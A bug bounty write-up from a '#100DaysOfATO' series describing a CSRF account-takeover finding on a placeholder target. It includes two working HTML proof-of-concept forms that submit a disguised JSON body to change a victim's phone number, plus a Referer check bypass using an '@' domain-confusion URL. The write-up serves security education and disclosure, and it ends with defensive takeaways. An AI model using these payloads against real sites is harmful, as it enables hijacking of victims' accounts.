Part of my #100DaysOfATO Challenge Original Finding: Osama Aly (@w4lT3R) Reward: $4000
Introduction
In today's write-up, I'm sharing an interesting case of Account Takeover (ATO) caused by a CSRF (Cross-Site Request Forgery) bypass using domain confusion. The original finding was reported by Osama Aly in a private bug bounty program. This was a perfect example of why assumptions in security can be dangerous.
Recon and Initial Observation
The target was account.example.com (placeholder for the real target).
Osama started with basic recon:
- Registered a new user.
- Logged in.
- Captured all requests in Burp Suite.
Notably:
- All endpoints were JSON-based (
*.json). - No CSRF tokens were in use.
- Requests were being sent as
Content-Type: application/json.
At first glance, JSON requests should be CSRF-protected since browsers can't set Content-Type: application/json in cross-origin requests due to Same-Origin Policy.
Testing for CSRF
Despite this assumption, Osama decided to test for CSRF by trying to change the victim's phone number — a critical action that could lead to ATO.
Surprisingly, the server didn't enforce the Content-Type header strictly.
By sending a crafted request using enctype="text/plain" in an HTML form, the request was processed successfully.
Exploitation PoC
The attack involved using a form like this:
<html>
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://account.example.com/phone.json" enctype="text/plain">
<input type="hidden" name='{"phone":"01111111118","a":"' value='"}'>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>This tricked the server into accepting the JSON body and updating the victim's phone number.
Referrer Header Check
However, there was a hurdle.
The application checked the Referer header — it required the domain to be part of the request to accept it.
But here's the twist:
Browsers allow setting URLs like:
https://evil.com/anything@account.example.comDue to the presence of @, some backend systems parse the domain after it, making the server believe the request originated from account.example.com.
Final Exploit PoC
Combining the Referer bypass trick with the CSRF payload resulted in full account takeover:
<html>
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://account.example.com/phone.json" enctype="text/plain">
<input type="hidden" name='{"phone":"01111111118","a":"' value='"}'>
</form>
<script>
history.pushState("", "", "/anything@account.example.com")
document.forms[0].submit();
</script>
</body>
</html>Impact
Due to this single root cause, multiple features in the application were vulnerable:
- Change phone number → ATO
- Change username / real name
- Manage API keys
- Enable MFA (Multi-Factor Authentication) with attacker's secret key
- Account lockout by enabling attacker-controlled MFA
- Disconnect connected platforms
Takeaways
- Never assume JSON requests are CSRF-safe just because of the Content-Type header.
- Always enforce strict Content-Type checks server-side.
- Be cautious of how you validate the
RefererorOriginheaders — domain confusion can lead to serious bypasses. - Security is about testing assumptions.
Reward
The bug was marked critical (CVSS 9.0–10.0) due to its account takeover impact.
💰 Bounty: $4000 USD
Final Words
Massive respect to Osama Aly for this elegant finding. This write-up is part of my #100DaysOfATO challenge where I study and share 100 account takeover write-ups.